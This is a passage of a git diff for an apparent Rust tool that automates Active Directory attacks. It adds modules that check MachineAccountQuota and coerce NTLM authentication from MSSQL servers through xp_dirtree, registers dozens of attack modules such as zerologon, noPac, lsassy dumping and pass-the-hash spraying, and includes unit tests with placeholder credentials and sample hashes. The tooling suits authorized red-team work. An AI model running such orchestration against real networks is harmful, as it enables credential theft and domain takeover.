"192.168.58.22".into(), + hostname: "srv01.contoso.local".into(), + domain: "contoso.local".into(), + credential: cred, + }; + + assert_eq!(work.dedup_key, "lsassy:192.168.58.22"); + assert_eq!(work.host_ip, "192.168.58.22"); + assert_eq!(work.hostname, "srv01.contoso.local"); + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.credential.username, "testuser"); + } + + #[test] + fn domain_extraction_from_fabrikam() { + let hostname = "sql01.fabrikam.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "fabrikam.local"); + } + + #[test] + fn dedup_key_with_various_ips() { + let ips = ["192.168.58.10", "192.168.58.240", "192.168.58.1"]; + for ip in &ips { + let key = format!("lsassy:{ip}"); + assert!(key.starts_with("lsassy:")); + assert!(key.ends_with(ip)); + } + } + + #[test] + fn credential_preference_admin_flag() { + let admin_cred = ares_core::models::Credential { + id: "c1".into(), + username: "domainadmin".into(), + password: "AdminPass!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: true, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let regular_cred = ares_core::models::Credential { + id: "c2".into(), + username: "user1".into(), + password: "UserPass!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let creds = [regular_cred, admin_cred]; + // Fallback logic: find admin credential + let admin = creds.iter().find(|c| c.is_admin && !c.password.is_empty()); + assert!(admin.is_some()); + assert_eq!(admin.unwrap().username, "domainadmin"); + } +} diff --git a/ares-cli/src/orchestrator/automation/machine_account_quota.rs b/ares-cli/src/orchestrator/automation/machine_account_quota.rs new file mode 100644 index 00000000..7c4b5a2e --- /dev/null +++ b/ares-cli/src/orchestrator/automation/machine_account_quota.rs @@ -0,0 +1,342 @@ +//! auto_machine_account_quota -- check MachineAccountQuota (MAQ) per domain. +//! +//! The default MAQ of 10 allows any authenticated user to create computer +//! accounts. This is a prerequisite for noPac (CVE-2021-42287) and RBCD +//! attacks. If MAQ > 0, downstream modules can proceed with machine account +//! creation-based attacks. +//! +//! Dispatches a recon check per domain to query the ms-DS-MachineAccountQuota +//! attribute from the domain root. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect MAQ work items from state (pure logic, no async). +fn collect_maq_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("maq:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_MACHINE_ACCOUNT_QUOTA, &dedup_key) { + continue; + } + + let cred = match state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == domain.to_lowercase()) + .or_else(|| state.credentials.first()) + { + Some(c) => c.clone(), + None => continue, + }; + + items.push(MaqWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// Checks MAQ setting per domain via LDAP query. +/// Interval: 45s. +pub async fn auto_machine_account_quota( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("machine_account_quota") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_maq_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "machine_account_quota_check", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("machine_account_quota"); + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "MachineAccountQuota check dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_MACHINE_ACCOUNT_QUOTA, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup( + &dispatcher.queue, + DEDUP_MACHINE_ACCOUNT_QUOTA, + &item.dedup_key, + ) + .await; + } + Ok(None) => { + debug!(domain = %item.domain, "MAQ check deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch MAQ check"); + } + } + } + } +} + +struct MaqWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("maq:{}", "contoso.local"); + assert_eq!(key, "maq:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_MACHINE_ACCOUNT_QUOTA, "machine_account_quota"); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "machine_account_quota_check", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "machine_account_quota_check"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = MaqWork { + dedup_key: "maq:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.dedup_key, "maq:contoso.local"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("maq:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "maq:contoso.local"); + } + + // --- collect_maq_work tests --- + + use crate::orchestrator::state::StateInner; + + fn make_cred(username: &str, domain: &str) -> ares_core::models::Credential { + ares_core::models::Credential { + id: uuid::Uuid::new_v4().to_string(), + username: username.to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: domain.to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_produces_no_work() { + let state = StateInner::new("test".into()); + let work = collect_maq_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_produces_no_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_maq_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dc_with_matching_cred_produces_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_maq_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "maq:contoso.local"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_skips_already_processed_dedup() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state.mark_processed(DEDUP_MACHINE_ACCOUNT_QUOTA, "maq:contoso.local".into()); + let work = collect_maq_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_falls_back_to_first_credential() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Only fabrikam cred available, should fall back to first + state + .credentials + .push(make_cred("fabuser", "fabrikam.local")); + let work = collect_maq_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fabuser"); + } + + #[test] + fn collect_multiple_domains_produces_multiple_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state + .credentials + .push(make_cred("fabadmin", "fabrikam.local")); + let work = collect_maq_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_cred("fabuser", "fabrikam.local")); + state + .credentials + .push(make_cred("conuser", "contoso.local")); + let work = collect_maq_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "conuser"); + } + + #[test] + fn collect_case_insensitive_domain_match() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_maq_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "maq:contoso.local"); + } + + #[test] + fn dedup_keys_differ_per_domain() { + let key1 = format!("maq:{}", "contoso.local"); + let key2 = format!("maq:{}", "fabrikam.local"); + assert_ne!(key1, key2); + } +} diff --git a/ares-cli/src/orchestrator/automation/mod.rs b/ares-cli/src/orchestrator/automation/mod.rs index bb8cfd3a..3d8f8c92 100644 --- a/ares-cli/src/orchestrator/automation/mod.rs +++ b/ares-cli/src/orchestrator/automation/mod.rs @@ -13,62 +13,145 @@ //! all threading hacks since tokio tasks are truly concurrent. mod acl; +mod acl_discovery; mod adcs; mod adcs_exploitation; mod bloodhound; +mod certifried; +mod certipy_auth; mod coercion; mod crack; mod credential_access; mod credential_expansion; mod credential_reuse; +mod cross_forest_enum; +mod dacl_abuse; mod delegation; +mod dfs_coercion; +mod dns_enum; +mod domain_user_enum; +mod foreign_group_enum; mod gmsa; +mod golden_cert; mod golden_ticket; mod gpo; +mod gpp_sysvol; +mod group_enumeration; +mod krbrelayup; mod laps; +mod ldap_signing; +mod localuser_spray; +mod lsassy_dump; +mod machine_account_quota; mod mssql; +mod mssql_coercion; mod mssql_exploitation; +mod mssql_link_pivot; +mod nopac; +mod ntlm_relay; +mod ntlmv1_downgrade; +mod password_policy; +mod petitpotam_unauth; +mod print_nightmare; +mod pth_spray; mod rbcd; +mod rdp_lateral; mod refresh; mod s4u; +mod searchconnector_coercion; mod secretsdump; mod shadow_credentials; +mod share_coercion; mod share_enum; mod shares; +mod sid_enumeration; +mod sid_history_enum; +mod smb_signing; +mod smbclient_enum; +mod spooler_check; mod stall_detection; mod trust; mod unconstrained; +mod webdav_detection; +mod winrm_lateral; +mod zerologon; // Re-export all public task functions at the same paths they had before the split. pub use acl::auto_acl_chain_follow; +pub use acl_discovery::auto_acl_discovery; pub use adcs::auto_adcs_enumeration; pub use adcs_exploitation::auto_adcs_exploitation; +pub(crate) use adcs_exploitation::EXPLOITABLE_ESC_TYPES; pub use bloodhound::auto_bloodhound; +pub use certifried::auto_certifried; +pub use certipy_auth::auto_certipy_auth; pub use coercion::auto_coercion; pub use crack::auto_crack_dispatch; pub use credential_access::auto_credential_access; pub use credential_expansion::auto_credential_expansion; pub use credential_reuse::auto_credential_reuse; +pub use cross_forest_enum::auto_cross_forest_enum; +pub use dacl_abuse::auto_dacl_abuse; pub use delegation::auto_delegation_enumeration; +pub use dfs_coercion::auto_dfs_coercion; +pub use dns_enum::auto_dns_enum; +pub use domain_user_enum::auto_domain_user_enum; +pub use foreign_group_enum::auto_foreign_group_enum; pub use gmsa::auto_gmsa_extraction; +pub use golden_cert::auto_golden_cert; pub use golden_ticket::auto_golden_ticket; pub use gpo::auto_gpo_abuse; +pub use gpp_sysvol::auto_gpp_sysvol; +pub use group_enumeration::auto_group_enumeration; +pub use krbrelayup::auto_krbrelayup; pub use laps::auto_laps_extraction; +pub use ldap_signing::auto_ldap_signing; +pub use localuser_spray::auto_localuser_spray; +pub use lsassy_dump::auto_lsassy_dump; +pub use machine_account_quota::auto_machine_account_quota; pub use mssql::auto_mssql_detection; +pub use mssql_coercion::auto_mssql_coercion; pub use mssql_exploitation::auto_mssql_exploitation; +pub use mssql_exploitation::auto_mssql_impersonation; +pub use mssql_link_pivot::auto_mssql_link_pivot; +pub use nopac::auto_nopac; +pub use ntlm_relay::auto_ntlm_relay; +pub use ntlmv1_downgrade::auto_ntlmv1_downgrade; +pub use password_policy::auto_password_policy; +pub use petitpotam_unauth::auto_petitpotam_unauth; +pub use print_nightmare::auto_print_nightmare; +pub use pth_spray::auto_pth_spray; pub use rbcd::auto_rbcd_exploitation; +pub use rdp_lateral::auto_rdp_lateral; pub use refresh::state_refresh; pub use s4u::auto_s4u_exploitation; +pub use searchconnector_coercion::auto_searchconnector_coercion; +pub use secretsdump::auto_krbtgt_extraction; pub use secretsdump::auto_local_admin_secretsdump; pub use shadow_credentials::auto_shadow_credentials; +pub use share_coercion::auto_share_coercion; pub use share_enum::auto_share_enumeration; pub use shares::auto_share_spider; +pub use sid_enumeration::auto_sid_enumeration; +pub use sid_history_enum::auto_sid_history_enum; +pub use smb_signing::auto_smb_signing_detection; +pub use smbclient_enum::auto_smbclient_enum; +pub use spooler_check::auto_spooler_check; pub use stall_detection::auto_stall_detection; pub use trust::auto_trust_follow; pub use unconstrained::auto_unconstrained_exploitation; +pub use webdav_detection::auto_webdav_detection; +pub use winrm_lateral::auto_winrm_lateral; +pub use zerologon::auto_zerologon; pub(crate) fn crack_dedup_key(hash: &ares_core::models::Hash) -> String { - let prefix = &hash.hash_value[..32.min(hash.hash_value.len())]; + // secretsdump stores NTLM as `{LM}:{NT}` (32:32 hex). Naively slicing the + // first 32 chars yields the constant blank-LM `aad3b435...` for every + // user, collapsing all NTLM dedup keys for one user into one entry. Take + // the NT half when the value looks like LM:NT; otherwise the value is + // already a bare hash ($krb5tgs$, $krb5asrep$, raw NT) — use as-is. + let nt_only = extract_nt_from_lm_nt(&hash.hash_value).unwrap_or(&hash.hash_value); + let prefix = &nt_only[..32.min(nt_only.len())]; format!( "{}:{}:{}", hash.domain.to_lowercase(), @@ -77,6 +160,15 @@ pub(crate) fn crack_dedup_key(hash: &ares_core::models::Hash) -> String { ) } +fn extract_nt_from_lm_nt(value: &str) -> Option<&str> { + let (lhs, rhs) = value.split_once(':')?; + if lhs.len() == 32 && rhs.len() >= 32 && lhs.bytes().all(|b| b.is_ascii_hexdigit()) { + Some(rhs) + } else { + None + } +} + #[cfg(test)] mod tests { use super::*; @@ -95,6 +187,10 @@ mod tests { parent_id: None, attack_step: 0, aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, } } @@ -127,4 +223,48 @@ mod tests { let h2 = make_hash("admin", "contoso.local", "abc"); assert_eq!(crack_dedup_key(&h1), crack_dedup_key(&h2)); } + + #[test] + fn dedup_key_lm_nt_disambiguates_by_nt_half() { + // Real secretsdump output: blank-LM constant + per-user NT half. + // Two different users (or the same user with different password + // histories) must yield different dedup keys — the old `[..32]` + // slice took the LM half and collapsed all NTLM entries. + let blank_lm = "aad3b435b51404eeaad3b435b51404ee"; + let h_a = make_hash( + "alice", + "contoso.local", + &format!("{blank_lm}:69db491a2f64ffda7d554d0ce74cb7e4"), + ); + let h_b = make_hash( + "alice", + "contoso.local", + &format!("{blank_lm}:146013294a78698bb114bcb375ab6d67"), + ); + assert_ne!(crack_dedup_key(&h_a), crack_dedup_key(&h_b)); + // And the key now ends in the NT half, not the LM half. + assert!(crack_dedup_key(&h_a).ends_with("69db491a2f64ffda7d554d0ce74cb7e4")); + assert!(crack_dedup_key(&h_b).ends_with("146013294a78698bb114bcb375ab6d67")); + } + + #[test] + fn dedup_key_kerberoast_value_passthrough() { + // $krb5tgs$ / $krb5asrep$ contain no `^[0-9a-f]{32}:` prefix, so + // the LM:NT split must not match and the value should be used as-is. + let krb = "$krb5tgs$23$*svc_sql$contoso.local$cifs/web*$abcd$ef0123456789deadbeef"; + let h = make_hash("svc_sql", "contoso.local", krb); + let key = crack_dedup_key(&h); + assert!(key.starts_with("contoso.local:svc_sql:")); + // Falls back to the existing 32-char-prefix behavior. + assert!(key.ends_with(&krb[..32])); + } + + #[test] + fn dedup_key_short_lm_nt_does_not_misfire() { + // A hash value `xxxx:yyyy` where the lhs isn't a 32-char hex string + // must NOT be treated as LM:NT — fall back to the raw value. + let h = make_hash("user", "contoso.local", "foo:bar"); + let key = crack_dedup_key(&h); + assert_eq!(key, "contoso.local:user:foo:bar"); + } } diff --git a/ares-cli/src/orchestrator/automation/mssql_coercion.rs b/ares-cli/src/orchestrator/automation/mssql_coercion.rs new file mode 100644 index 00000000..a9e9fbfa --- /dev/null +++ b/ares-cli/src/orchestrator/automation/mssql_coercion.rs @@ -0,0 +1,698 @@ +//! auto_mssql_coercion -- coerce NTLM authentication from MSSQL servers via +//! xp_dirtree/xp_fileexist. +//! +//! When we have MSSQL access (discovered by `auto_mssql_detection`) and a +//! listener IP, we can force the SQL Server service account to authenticate +//! back to our listener, capturing its NTLMv2 hash for cracking or relay. +//! +//! This is distinct from the general `auto_coercion` module which uses +//! PetitPotam/PrinterBug against DCs. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Monitors for MSSQL servers and dispatches xp_dirtree NTLM coercion. +/// Interval: 45s. +pub async fn auto_mssql_coercion(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("mssql_coercion") { + continue; + } + + let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => continue, + }; + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_mssql_coercion_work(&state, &listener) + }; + + for item in work { + let payload = json!({ + "technique": "mssql_ntlm_coercion", + "target_ip": item.target_ip, + "listener_ip": item.listener, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("mssql_coercion"); + match dispatcher + .throttled_submit("coercion", "coercion", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + target = %item.target_ip, + "MSSQL xp_dirtree NTLM coercion dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_MSSQL_COERCION, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_MSSQL_COERCION, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(target = %item.target_ip, "MSSQL coercion task deferred"); + } + Err(e) => { + warn!(err = %e, target = %item.target_ip, "Failed to dispatch MSSQL coercion"); + } + } + } + } +} + +/// Collect MSSQL coercion work items from the current state. +/// +/// Extracted from the async loop so it can be unit-tested without a +/// `Dispatcher` or real async runtime scaffolding. +fn collect_mssql_coercion_work( + state: &crate::orchestrator::state::StateInner, + listener: &str, +) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for vuln in state.discovered_vulnerabilities.values() { + if vuln.vuln_type.to_lowercase() != "mssql_access" { + continue; + } + + let target_ip = vuln + .details + .get("target_ip") + .and_then(|v| v.as_str()) + .unwrap_or(&vuln.target); + + if target_ip.is_empty() { + continue; + } + + let dedup_key = format!("mssql_coerce:{target_ip}"); + if state.is_processed(DEDUP_MSSQL_COERCION, &dedup_key) { + continue; + } + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + let cred = state + .credentials + .iter() + .find(|c| !domain.is_empty() && c.domain.to_lowercase() == domain.to_lowercase()) + .or_else(|| state.credentials.first()) + .cloned(); + + let cred = match cred { + Some(c) => c, + None => continue, + }; + + items.push(MssqlCoercionWork { + dedup_key, + target_ip: target_ip.to_string(), + listener: listener.to_string(), + credential: cred, + }); + } + + items +} + +struct MssqlCoercionWork { + dedup_key: String, + target_ip: String, + listener: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("mssql_coerce:{}", "192.168.58.22"); + assert_eq!(key, "mssql_coerce:192.168.58.22"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_MSSQL_COERCION, "mssql_coercion"); + } + + #[test] + fn mssql_access_vuln_type_matching() { + assert_eq!("mssql_access".to_lowercase(), "mssql_access"); + assert_ne!("smb_signing_disabled".to_lowercase(), "mssql_access"); + } + + #[test] + fn target_ip_from_vuln_details() { + let details = serde_json::json!({"target_ip": "192.168.58.22"}); + let target = details + .get("target_ip") + .and_then(|v| v.as_str()) + .unwrap_or("fallback"); + assert_eq!(target, "192.168.58.22"); + } + + #[test] + fn target_ip_fallback_to_vuln_target() { + let details = serde_json::json!({}); + let fallback = "192.168.58.10"; + let target = details + .get("target_ip") + .and_then(|v| v.as_str()) + .unwrap_or(fallback); + assert_eq!(target, "192.168.58.10"); + } + + #[test] + fn credential_domain_matching() { + let domain = "contoso.local".to_string(); + let cred_domain = "CONTOSO.LOCAL"; + let matches = !domain.is_empty() && cred_domain.to_lowercase() == domain.to_lowercase(); + assert!(matches); + } + + #[test] + fn credential_domain_empty_no_match() { + let domain = "".to_string(); + let cred_domain = "contoso.local"; + let matches = !domain.is_empty() && cred_domain.to_lowercase() == domain.to_lowercase(); + assert!(!matches); + } + + #[test] + fn mssql_coercion_payload_structure() { + let payload = serde_json::json!({ + "technique": "mssql_ntlm_coercion", + "target_ip": "192.168.58.22", + "listener_ip": "192.168.58.100", + "credential": { + "username": "sa", + "password": "P@ssw0rd!", + "domain": "contoso.local", + }, + }); + assert_eq!(payload["technique"], "mssql_ntlm_coercion"); + assert_eq!(payload["target_ip"], "192.168.58.22"); + assert_eq!(payload["listener_ip"], "192.168.58.100"); + assert_eq!(payload["credential"]["username"], "sa"); + } + + #[test] + fn domain_extraction_from_vuln() { + let details = serde_json::json!({"domain": "contoso.local"}); + let domain = details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + assert_eq!(domain, "contoso.local"); + + let details2 = serde_json::json!({}); + let domain2 = details2 + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + assert_eq!(domain2, ""); + } + + #[test] + fn mssql_coercion_work_fields() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "sa".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = MssqlCoercionWork { + dedup_key: "mssql_coerce:192.168.58.22".into(), + target_ip: "192.168.58.22".into(), + listener: "192.168.58.100".into(), + credential: cred, + }; + assert_eq!(work.target_ip, "192.168.58.22"); + assert_eq!(work.listener, "192.168.58.100"); + } + + // --- collect_mssql_coercion_work integration tests --- + + use crate::orchestrator::state::SharedState; + + fn make_cred(user: &str, domain: &str) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{user}"), + username: user.into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_vuln( + id: &str, + vuln_type: &str, + target: &str, + details: serde_json::Value, + ) -> ares_core::models::VulnerabilityInfo { + let details_map: std::collections::HashMap = + serde_json::from_value(details).unwrap_or_default(); + ares_core::models::VulnerabilityInfo { + vuln_id: id.into(), + vuln_type: vuln_type.into(), + target: target.into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details: details_map, + recommended_agent: String::new(), + priority: 5, + } + } + + #[tokio::test] + async fn collect_empty_state_returns_nothing() { + let shared = SharedState::new("test".into()); + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_no_vulns_with_creds_returns_nothing() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_mssql_access_vuln_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22", "domain": "contoso.local"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.22"); + assert_eq!(work[0].listener, "192.168.58.100"); + assert_eq!(work[0].dedup_key, "mssql_coerce:192.168.58.22"); + assert_eq!(work[0].credential.username, "sa"); + assert_eq!(work[0].credential.domain, "contoso.local"); + } + + #[tokio::test] + async fn collect_skips_non_mssql_vulns() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "smb_signing_disabled", + "192.168.58.22", + json!({"target_ip": "192.168.58.22"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_dedup_skips_already_processed() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22", "domain": "contoso.local"}), + ), + ); + state.mark_processed(DEDUP_MSSQL_COERCION, "mssql_coerce:192.168.58.22".into()); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_target_ip_falls_back_to_vuln_target() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln("v1", "mssql_access", "192.168.58.30", json!({})), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.30"); + } + + #[tokio::test] + async fn collect_skips_empty_target_ip() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln("v1", "mssql_access", "", json!({"target_ip": ""})), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_prefers_domain_matching_credential() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("admin", "fabrikam.local")); + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22", "domain": "contoso.local"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "sa"); + assert_eq!(work[0].credential.domain, "contoso.local"); + } + + #[tokio::test] + async fn collect_falls_back_to_first_cred_when_no_domain_match() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("admin", "fabrikam.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22", "domain": "contoso.local"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + } + + #[tokio::test] + async fn collect_falls_back_to_first_cred_when_domain_empty() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "sa"); + } + + #[tokio::test] + async fn collect_multiple_vulns_produce_multiple_work_items() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22", "domain": "contoso.local"}), + ), + ); + state.discovered_vulnerabilities.insert( + "v2".into(), + make_vuln( + "v2", + "mssql_access", + "192.168.58.23", + json!({"target_ip": 